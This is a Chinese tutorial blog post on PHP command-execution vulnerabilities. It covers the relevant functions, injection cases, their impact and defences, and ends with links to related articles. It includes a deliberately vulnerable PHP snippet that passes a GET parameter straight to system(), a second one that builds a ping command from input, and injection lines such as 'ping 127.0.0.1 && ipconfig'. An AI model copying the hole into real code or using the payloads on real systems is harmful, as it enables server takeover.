      该函数命令执行后的返回值存在输出值的最后一行,函数本身也会打印全部输出值。

    语法:

    system(string $command [,int $return_var])
    函数执行command参数所指定的命令,并输出结果。
    string和int是参数的数据类型,分别是字符串和整数。
    command:要执行的命令。
    return_var:如果提供return_var参数,则外部命令执行后的返回状态会被设置到此变量中。如果成功执行则状态码为0;如果执行失败状态码为1.
    
    • Exec
      该函数命令执行后的值为输出值的最后一行,函数并不会打印任何内容。

    语法:

    exec ( string KaTeX parse error: Expected 'EOF', got '&' at position 18: …mmand [, array &̲output [, int &$return_var ]] )
    函数执行command参数所指定的命令。
    string、array、int是参数的数据类型,分别是字符串、数组和整数/
    中括号的意思是如果前一个参数存在,那么中括号中的参数可以不写。例如:如果存在$command参数,则$output参数可有可无;如果不存在ouput参数,则$return_var也不能出现。
    command:要执行的命令。
    output:如果提供了output参数,那么会用命令执行的输出填充此数组,每行输出填充数组中的一个元素。数组中的数据不包括行位的空白字符,例如\n字符。如果数组中自己包含了部分元素,exec()函数会在数组末尾追加内容。如果不想在数组末尾追加,输入exec()函数前使用unset()函数进行重置。
    return_var:如果同时提供output和return_var参数,命令执行后的返回状态会被写入到此变量。如果命令成功执行,则状态码为0;如果命令执行失败,则状态码为1
    
    • Shell_exec
      该函数会在命令执行后将所有输出值作为字符串输入返回值,本身并不打印任何信息。

    语法:

    shell_exec(string $cmd)
    cmd是要执行的命令。
    string是参数的数据类型,也就是字符串。
    shell_exec函数的用法和反引号相同。
    
    • Passthru
      该函数本身会打印全部输出值,但该函数没有返回值。

    语法:

    
    passthru ( string KaTeX parse error: Expected 'EOF', got '&' at position 16: command [, int &̲return_var ] )
    string和int是参数的数据类型,分别为字符串和整型。
    passthru()函数也是用来执行command的。当所执行的系统命令输出二进制数据,并且需要直接传送到浏览器的时候,需要此函数来代替exec()或system()函数。
    command:要执行的命令。
    return_var:如果提供return_var参数,Unix命令返回状态会被记录到此参数。
    
    • pcntl_exec

    • popen

    • proc_open

    • ob_start()

    • unserialize()

    • usort()

    • uasort()

    • ukaort()

    • array_reduce()

    • escapeshellarg
      该函数过滤一个字符串参数,原理是给字符串添加单引号,而shell不会解释单引号中的特殊字符。如果字符串中已经有单引号了,那么该函数会分段处理这个字符串,对字符串中的单引号做转义,并以之分段,也就是这种形式’…’"…’。也可以说,单引号是就近匹配的。这个函数应该用来过滤单个的shell函数的参数。

    • escapeshellcmd
      该函数应该被用来过滤整个命令字符串(而不是单个参数),转义shell元字符。

    • 反引号() php支持一个执行运算符:反引号。php将尝试将反引号中的内容作为外壳命令执行,并将输出信息作为返回值返回(即可以赋给一个变量而不是简单的丢弃到标准输出)。使用反引号运算符到效果与函数shell_exec()相同。反引号运算符在激活了安全模式或者关闭了shell_exec()时是无效的。

    8.2 系统命令执行漏洞

    • system()
    • exec()
    • shell_exec()
    • passthru()
    • pcntl_exec()
    • popen()
    • proc_open()
    • 反引号(``)
    • ob_start()

    0x09 命令执行漏洞常见可控位置

    常见可控位置情况有以下几种:
    在这里插入图片描述
    示例:

    sys=ctypes.cdll.LoadLibrary('/lib64/libc.so.6')
    sys.system(cmd)
    

    9.1 第一种情况

    如果能直接控制$arg,那么就能执行任意命令了。

    9.2 第二种情况

    能够控制的点是程序的整个参数,可以直接用&& 、|| 或 |等等,利用与、或、管道命令来执行其他命令(可以涉及到很多linux命令行技巧)。还有一个偏门,当$arg被escapeshellcmd处理之后,不能越出这个外部程序的范围,可以看看这个程序自身是否有"执行外部命令"的参数或功能,比如linux下的sendmail命令自带读写文件功能,可以用来写webshell。

    9.3 第三种情况

    控制的点是一个参数,也同样可以利用与、或、管道来执行其他命令,情景与二无异。

    9.4 第四种情况

    这种情况压力大一点,有双引号包囊。如果引号没有被转义,可以先闭合引号,称为第三种情况后按照第三种情况来利用,如果引号被转义(addslashes),也不必着急。linux shell环境下双引号中间点变量也是可以被解析点,可以在双引号内利用反引号执行任意命令id

    9.5 第五种情况

    这是最难受的一种情况了,因为单引号内只是一个字符串,要先闭合单引号才可以执行命令。如:system("/bin/prog -p=‘aaa’ | id")。危害自然不言而喻,执行命令可以读写文件、反弹shell、获得系统权限、内网渗透等。

    在漏洞检测中,除了有回显的命令注入(比如执行dir命令或者cat读取系统文件);还可以使用盲打的方式,比如curl远程机器的某个目录(看access.log),或者通过dns解析的方式获取到漏洞机器发出的请求。

    0x10 命令执行漏洞的危害

    • 继承web服务器程序的权限,去执行系统命令或读写系统文件
    • 反弹内外shell
    • 控制整个web服务器
    • 辅助内网渗透
    • 恶意木马被种植
    • 挂马、钓鱼
    • 敏感信息泄漏

    0x11 命令执行漏洞的防御(修复)

    • 尽量少用执行命令的函数或者直接禁用,在php下禁用高危系统函数,找到php.ini,查找disable_functions,添加禁用的函数名
    • 参数值尽量使用引号包括,并在拼接前调用addslashes函数进行转义
      在使用动态函数之前,确保使用的函数是指定的函数之一
    • 在进入执行命令的函数/方法之前,对参数进行过滤,对敏感字符进行转义
    • 对于可控点是程序参数的情况下,使用escapeshellcmd函数进行过滤,对于可控点是程序参数值的情况下,使用escapeshellarg函数进行过滤。使用 escapeshellarg函数处理相关参数。该函数会将用户引起参数或命令结束的字符进行转义,如单引号"’’“会被转义为”’",双引号"""“会被转义为”"",分号";“会被转义为”;",这样escapeshellarg会将参数内容限制在一对单引号或双引号里面,转义参数中包括的单引号或双引号,使其无法对当前执行进行截断,实现防范注入攻击的目的。
    • 不执行外部的应用程序或命令。尽量使用自定义函数或函数库实现外部应用程序或命令的功能。在执行system、eval等命令功能的函数前,要确认参数内容。
    • 使用safe_mode_exec_dir指定可执行的文件路径。将php.ini文件中的safe_mode设置为On,然后将允许执行的文件放入一个目录,并使用safe_mode_exec_dir指定这个可执行的文件路径。这样,在需要执行相应的外部程序时,程序必须在safe_mode_exec_dir指定的目录中才会允许执行否则将失败。

    0x12 示例

    windows使用phpstudy集成环境,在网站根目录下建立php文件(自定义)。

    <?php
            echo "please input get args cmd!";
            echo "<pre>";   //格式化页面
            if(isset($_GET["cmd"])){
                    system($_GET["cmd"]);
            }
            echo "</pre>";  //是页面更加直观,起换行作用。去掉的话,显示信息不会换行。下面做对比。
    ?>
    

    在这里插入图片描述
    输入命令:?cmd=ipconfig
    在这里插入图片描述
    现在修改一下代码,看看

    的作用是什么。在URL前面加个view-source:也是可以的
    在这里插入图片描述
    在这里插入图片描述
    对指定目录执行ping命令

    <?php
            echo "<pre>";   //格式化输出
            $arg = $_GET['cmd'];    //GET方式执行命令
            if($arg){
                system("ping $arg");
            }
            echo "</pre>";
    

    打开cmd ,执行以下命令

    ping www.baidu.com
    ping 111 & ipconfig
    ping 127.0.0.1 && ipconfig
    ping 127.0.0.1 | ipconfig
    ping 111 || ipconfig
    

    在这里插入图片描述

    0x13 总结

    如有不对之处请各位师傅指正!

    0x14 了解更多安全知识

    欢迎关注我们的安全公众号,学习更多安全知识!!!
    欢迎关注我们的安全公众号,学习更多安全知识!!!
    欢迎关注我们的安全公众号,学习更多安全知识!!!
    在这里插入图片描述

    展开全文
  • 命令执行漏洞各种绕过方式

    千次阅读 2020-07-10 13:38:59
    本文目录前言命令执行漏洞绕过方式管道符windows中常见管道符linux中常见管道符空格过滤黑名单绕过通配符绕过内敛执行绕过编码绕过绕过长度限制`>`和`>>`两个符号的使用命令换行最后参考文章 前言 刚做了...
  • Web安全-命令执行漏洞

    千次阅读 2019-02-03 23:37:02
    命令执行漏洞概念:当应用需要调用一些外部程序去处理内容的情况下,就会用到一些执行系统命令的函数。如PHP中的system,exec,shell_exec等,当用户可以控制命令执行函数中的参数时,将可注入恶意系统命令到正常...
  • 远程命令执行漏洞的原理 远程命令执行漏洞,用户通过浏览器提交执行命令,由于服务器端 没有针对执行函数做 过滤,导致在没有指定绝对路径的情况下就执行命令 复现示例 Tomcat任意文件上传漏洞CVE-2017-12615...
  • 命令执行漏洞,就是用户通过浏览器或其他辅助程序提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令。 通俗的讲:当应用需要调用一些外部程序去处理内容的情况下,就...
  • 需要知道 1.$? 是命令在执行完成之后产生的退出值,范围是 0到255 当 $0=0 时标示命令执行没有...命令执行结果的数字一般情况下0表示上一条命令执行正确,非0表示错误(错误原因可以查?非0就说明上述执行命令错误 ...
  • 但是今天我通过查看time命令的手册页,发现它能做的不仅仅是测量运行时间,还可以测量内存、I/O等的使用情况,手册页上的说法是time a simple command or give resource usage,其中time一词我认为它应该是测量或测...
  • Linux 命令执行顺序控制

    千次阅读 2018-07-08 19:15:02
    通常情况下,我们每次只能在终端输入一条命令,按下回车执行执行完成后,我们再输入第二条命令,然后再按回车执行…… 当有我们会一次输入多条命令,或者有选择性的执行命令时,我们可以用特定的语法结构来实现...
  • 远程命令/代码执行漏洞(RCE)总结

    千次阅读 多人点赞 2020-04-17 21:59:03
    文章目录介绍PHP命令执行函数代码执行函数命令拼接符命令执行的一些绕过技巧绕过str_...}的别样用法无回显的命令执行方法一:反弹shell方法二:msf反向回连利用RCE反弹Shellnetcat 一句话反弹Shellbash反弹shel...
  • JDWP 远程命令执行漏洞

    万次阅读 2018-09-20 20:27:46
    JDWP 远程命令执行漏洞 漏洞验证: telnet端口后,输入命令JDWP-Handshake, 如果返回JDWP-Handshake,证明存在漏洞。而且如果输入JDWP-Handshake的速度不够快的话,连接很快就会断开。 telnet 目标IP 目标端口 ...
  • 在linux shell中执行redis命令

    千次阅读 2020-04-06 22:47:07
    #!/bin/bash /usr/bin/redis <...select 1 和 ltrim warning 1 0 (这名命令的意思是删除warning这个key中所有的数据) 在运行shell脚本后会依次执行 换句话说:只要redis命令放在/usr/bin/redis <<...
  • 转自:https://www.cnblogs.com/liuzhipenglove/p/7058726.html 参考: https://www.cnblogs.com/bittorrent/p/3761247.html ...   注意: 命令后面一定要有分号; htt...
  • Shell脚本一次执行多条命令

    千次阅读 2020-06-28 09:31:06
    Shell 是一个用 C 语言编写的程序,它是用户使用 Linux 的桥梁。Shell 既是一种命令语言,又是一种程序设计语言。...说明:各命令执行给果,不会影响其它命令执行。换句话说,各个命令都会执行,但不保证每.
  • 仅仅在一个子终端运行系统命令,而不能获取命令执行后的返回信息 代码如下: import os os.system('ls') 2. 使用os.popen 该方法不但执行命令还返回执行后的信息对象,好处在于:将返回的结果赋于一变量,便于程序...
  • Python - 调用终端执行命令

    万次阅读 2019-08-06 15:58:30
    这里主要总结下,在 Python 代码脚本里,涉及...os.system()- 只返回状态码,执行结果会输出到stdout,即输出到终端.仅在 Linux 中有效. 用法: import os # 不传递参数 os.system(cmd) # cmd 即为Linux 终端命...
  • 命令执行和代码执行漏洞

    千次阅读 2018-12-06 22:19:15
    代码执行漏洞也叫代码注入漏洞,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令,可能会允许攻击者通过改变 $PATH 或程序执行环境的其他方面来执行...
  • command2)执行命令,其中command1是执行robot framework自动化用例脚本的命令,command2是生成报告的命令,为什么只要command1中有用例失败,即使command1是被执行完成的,仍然不会执行command2呢,只能通过||连接...
  • #stdout 标准输出 服务器执行命令成功,返回的结果 通常用read方法查看 #stderr 标准错误 服务器执行命令错误返回的错误值 通常也用read方法 #查看结果,注意在Python3 字符串分为了:字符串和字节两种格式,文件...
  • 一、经典IPC$入侵 利用ipc$和默认共享入侵远程电脑的过程 1. C:\>net use \\127.0.0.1\IPC$ "密码" /user:... ... ... copy srv.exe \\127.0.0.1\admin$ ...先复制srv.exe上去(这里的$是admin用户的c:\winnt\system32...
  • bat如何延时执行指定命令

    千次阅读 2020-12-22 11:31:25
    展开全部首先bat延迟的是就是执行一条命令后延迟一段时间再进行下一62616964757a686964616fe58685e5aeb931333365646231条命令。在cmd 下或批处理中,常使用以下四种方法进行时间延迟:1、利用ping命令延时。示例1...
  • cmd里如何查看历史命令执行

    千次阅读 2020-08-15 16:33:34
    注:下面所说的历史命令的是该cmd窗口使用过的命令。 ×掉一个旧的cmd窗口,然后打开一个新的窗口,在新的窗口里使用下面的方法是看不到旧窗口的历史命令的。 查看历史命令 doskey /history 使用历史命令 上下...
  • 目录1. 语法:1.1 OPTIONS 参数说明:1.2 COMMAND 参数:2. 查看正在运行的容器3. 使用 exec 进入容器4....-d: 分离模式,让命令在后台(的是宿主后台)运行。 【注】一般使用 -it 就足够了。 1.2 COMMAND
  • Java程序执行cmd命令

    万次阅读 2018-11-17 15:29:03
    一:编写程序实现执行cmd指令.  1.1 思路分析:使用Process的exec()将cmd的执行结果通过java的IO流输出到IDE的控制台即可.  Process的exec()方法.看一下源码,发现有好几个构造方法,传单个cmd的,传cmd数组的等. ...
  • 通过Hadoop命令执行jar包

    千次阅读 2020-12-21 11:43:44
    我们通常在本地运行的时候,可以把本地java文件打包成jar包,然后放在linux集群上。然后通过hadoop命令来运行...而类路径,是你要执行的包含main函数的主类,该类名一定要写全名,如org.example.BillComputing.Drive
  • OS命令执行漏洞

    千次阅读 2017-08-16 21:29:34
    代码执行漏洞的是可以执行PHP脚本代码,而命令执行漏洞的是可以执行系统命令或应用指令(如cmd命令或bash命令)的漏洞 php命令执行漏洞主要是一些函数的参数过滤不严格所导致,可以执行OS命令的函数一共有7个:...
  • 一、Linux系统中的环境变量 Linux系统中的环境变量是用来指定系统运行环境的一些...二、执行命令后到底发生了什么(***重点) 第一步,判断用户是否以绝对路径或相对路径的方式输入命令,如果是直接执行。 第二步...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 620,655
精华内容 248,262
关键字:

命令执行指什么

友情链接: LS.rar